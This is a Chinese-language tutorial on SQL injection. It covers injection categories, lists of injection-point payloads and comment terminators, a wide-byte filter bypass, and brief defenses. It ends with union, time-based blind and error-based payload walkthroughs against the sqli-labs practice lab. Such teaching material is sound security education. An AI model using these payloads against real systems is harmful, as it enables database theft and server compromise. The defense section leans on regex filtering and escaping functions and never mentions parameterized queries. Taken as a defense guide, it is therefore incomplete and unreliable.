SQL注入(简单易懂)

一、原理

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被拖库、被删除、甚至整个服务器权限沦陷)

简单理解:前端传入的数据没有经过任何处理,直接当作sql语句的一部分执行

二、注入分类:

1.union联合注入

(1)前后两个select查询列数一致!!

(2)select不支持limit

(3)尽量保证数据类型一致

判断列数的方法:

        方法一 'union select 1,2,3,4 --+

        方法二 'order by 4 --+

payload

        ' union select database(),user(),version() # %

2.堆叠注入

用分号(;)间隔,通过一个payload执行多条sql语句

3.报错注入

原理:利用sql函数语法错误导致报错的同时将执行语句结果显示在页面中

常用payload

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e));

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.盲注

(1)布尔盲注:正确和错误的回显有两种

(2)时间盲注:正确和错误的回显都一样

5.header和cookie注入

应用场景 针对跳转页面中需要将http请求报文信息写入到数据库,则可以直接改写报文值为payload,从而实现错误注入

通过写入或查询header或cookie值,导致被注入

6.外带注入

三、注入点类型

(1)字符型

                'or 0=0 --+
                " or 0=0 --+

(2)整数型  

                or 0=0 --+

(3)搜索型

                %  or 0=0 --+
                % ' or 0=0 --+
                % " or 0=0 --+

(4)特殊型

                ) or 0=0 --+
                ' ) or 0=0 --+
                " ) or 0=0 --+
                % ' ) or 0=0 --+
                % " ) or 0=0 --+
                 )) or 0=0 --+

四、常见的注入点类型

#

-- (杠杠空格)

--+ (杠杠加号)

--%20

--- 111(杠杠空格111)

/*sss*/

五、危害

1.获取webshell(前提:知道站点根目录;mysql开启了secure-file-priv参数;站库不能分离;mysql对站点根目录有写入权限)

2.执行系统命令

3.读取系统文件

4.拖库

六、绕过

1.宽字节注入绕过:通过%df%5c(\)结合成一个汉字,从而绕过sql注入的防护,继续sql注入

        前提条件:连接数据库的时候字符集必须为gbk;开启了转义

2.窄字节注入绕过:利用ascii吗和5c(\)结合成一个汉字绕过服务端的防护

七、防御

1.硬件安全设备:安恒、绿盟、奇安信、启明星辰等

2.软件层面:windows可以使用D盾;linux可以使用安全狗

3.代码层面:写waf,使用正则过滤,开启安全防护的函数( addslashes;htmlspecialchars;mysql_real_escape_string ),使用utf-8和转义符

八、以sql-lib为例判断sql注入的思路

1.联合注入流程

判断注入点类型

判断字段数

1' order by 3#

' or 1=1 order by 2# 

判断显错位

' union select 1,2#

判断库名

' union select user(),database()# 

判断表名

' union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()#

判断列名

' union select 2,group_concat(column_name) from information_schema.columns where table_name='emails'# 

获取数据

' union select group_concat(id),group_concat(email_id) from emails#

2.时间盲注思路

第一
1' and sleep(5) --+ 判断类型
admin' and if(1=1,sleep(10),null)--+   #通过返回时间判断注入点类型 单引号 时间型盲注

第二 admin') and if(ascii(substr(database(),1,1))=1,sleep(10),null)#

第三 用burp抓包勾选列响应时间 第一个1和第三个1为payload

3.报错注入思路

1.判断注入点类型

2.使用报错注入的payload (记得改类型)

admin") and updatexml(1,concat('~',(select version())),0) #

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值